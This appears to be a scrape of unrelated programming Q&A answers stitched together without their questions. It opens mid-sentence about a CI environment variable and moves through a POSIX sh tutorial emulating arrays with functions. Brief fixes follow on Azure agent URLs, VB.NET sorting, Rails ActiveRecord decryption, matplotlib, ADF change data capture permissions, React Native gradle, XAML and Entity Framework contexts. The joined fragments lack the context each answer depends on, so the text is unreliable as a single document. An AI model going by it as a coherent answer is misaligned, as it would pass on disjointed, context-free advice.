which meant my computer had been identified as running on a CI server (even though it wasn't), and CI servers don't support user interactivity.
Removing this environment variable solved the problem.
I came 7 years later, I guess you don't need my answer anymore; However I struggled with sh
lack of arrays too. so I came up with some weird idea, Why won't I make a functions that will replace the arrays? I mean... I'm bad at describing in words, so let me show you, and tell me what you think.
Even if it won't be useful for you, I want to believe that someone will find it useful. After all, sh
is a bit tough...
Before we start,
#! /bin/sh
All the code will run on dash
(/ash
/sh
).
array_length () {
# The first argument of this function
# is the array itself, which is actually a string
# separated by a delimiter that we define in the
# second argument
array="${1}"
# The second field should be the separator.
# If it's not empty, set it as the local IFS.
if ! [ "${2}" = "" ]
then
local IFS=${2}
fi
# So far not bad,
# Let's count the elements in this array.
# We'll define the counter:
counter=0
# And now let's loop.
# Pay attention, do not quote the string,
# as it won't have the "array effect"
for element in ${array}
do
counter=$(( ${counter}+1 ))
done
# At the end of the function,
# Let's echo the amount.
echo "${counter}"
# Unset the variables (that's what I prefer,
# you, of course, don't have to)
unset array element counter
# And I guess we can exit normally
# unless you want to add a specific condition
# (for example, if the length is zero,
# the exit code will be bigger than 0).
# I prefer that it will be 'true' in all cases...
return 0
}
# Try it!
array_length 'Hello World!'
Now, You could use this idea for other ideas. For example, You want to find a value at a specific index:
array_value () {
# Just like before, only few things are different...
array="${1}"
# Now the second argument is the index
# to extract the value from
# (think of it as ${array[index]}
index="${2}"
# Now we loop through the array
# (I skipped the IFS thing on purpose,
# you can copy and include it if you desire)
# and once we match the index,
# we return the value
# Define a counter for each iteration
count=0
# Define the return status
status=1
for value in ${array}
do
if [ "${index}" -eq "${count}" ]
then
# It's a match
echo "#${index}: '${value}'"
# Set the return status to zero
status=0
# And stop the loop
break
fi
# Increase the counter
count=$(( ${count}+1 ))
done
# Of course you can add an return status
# I'll set it to a variable
return ${status}
}
# Try it!
world=$(array_value "Hello World!" 1)
echo ${world}
My code examples are released under GNU GPLv3 or later.
Tell me what you think about it, and if you like my ideas, feel free to use them!
If there's a better way to achieve these things with sh
, Feel free to correct me! I'd love to get a feedback.
Old URL https://vstsagentpackage.azureedge.net/. was retired 1-2 month ago.
Please check this article
You need to use https://download.agent.dev.azure.com now
Public Shared Sub SortByPropertyName(propName As String)
Dim prop = GetType(Person).GetProperty(propName)
If prop Is Nothing Then Exit Sub
If OrderAscending Then
Person.Persons = Person.Persons.OrderBy(Function(x) prop.GetValue(x, Nothing)).ToList()
Else
Person.Persons = Person.Persons.OrderByDescending(Function(x) prop.GetValue(x, Nothing)).ToList()
End If
OrderAscending = Not OrderAscending
End Sub
Interesting question! I don’t think there’s a built in way to reorder automatically.
It happens that in ActiveRecord when does the decrypt it passes another key_provider, which is the deterministic key, so using this it works:
ActiveRecord::Encryption::Encryptor.new.decrypt(cipher, key_provider: ActiveRecord::Encryption::DeterministicKeyProvider.new(ActiveRecord::Encryption.config.deterministic_key))
import matplotlib.pyplot as plt
a=[[(i-j)%2 for i in range(8)] for j in range(8)]
tick_set=[0,1,2,3,4,5,6,7]
xlab=["a","b","c",'d',"e","f","g","h"]
ylab=["1","2","3","4","5","6","7","8"]
plt.imshow(a,cmap='gray',origin="lower",)
plt.xticks(ticks=tick_set,labels=xlab)
plt.yticks(ticks=tick_set,labels=ylab)
plt.show()
After lots of random trial and error, I found a solution to this problem.
TLDR: The SQL user we were using in the ADF linked service didn't have the cdc_admin user role. When we enabled it, the queries began working as expected.
More details: My best guess why this happened -- the auto-generated cdc.fn_cdc_get_net_changes_my_custom_table function code contains calls to other auto-generated CDC functions and stored procedures, including ones in master database schema. The SQL user had permissions to call the main function, but not the sub-functions in the master schema. And cdc.fn_cdc_get_net_changes_my_custom_table gave a bad response instead of failing.
What I still don't understand: I don't get why the behavior is different when the query is sent from ADF and SSMS. My SQL user can call the table function fine in SSMS. This issue only happens from ADF.
For me, debuggableVariants was commented out in android/app/build.gradle
react {
// debuggableVariants: ["my variant"]
}
As comments stated, the fix was changing the name "Content" to "Label" in the dependency property registration.
Could not figure out why VisualStudio is able to draw the preview of the XAML but it does not work running the .exe.
I have a similar problem, the store console has our app(s) flagged as not compatible with 16KB Memory page size but when I run the apk analyzer or zipalign, it doesn't show any issue.
Finally being forced to figure out what’s wrong, I discovered buried in the code was a second database context. The secondary database context was including an entity that had a relationship with the entity that was causing problems. The primary database context, had most entities mapped, including all the relationships. The second DB context, however, did not. It was missing related entities, causing the error to be generated.
I tried all suggestions, it couldn't work then i just tried with original Apple cable and boom!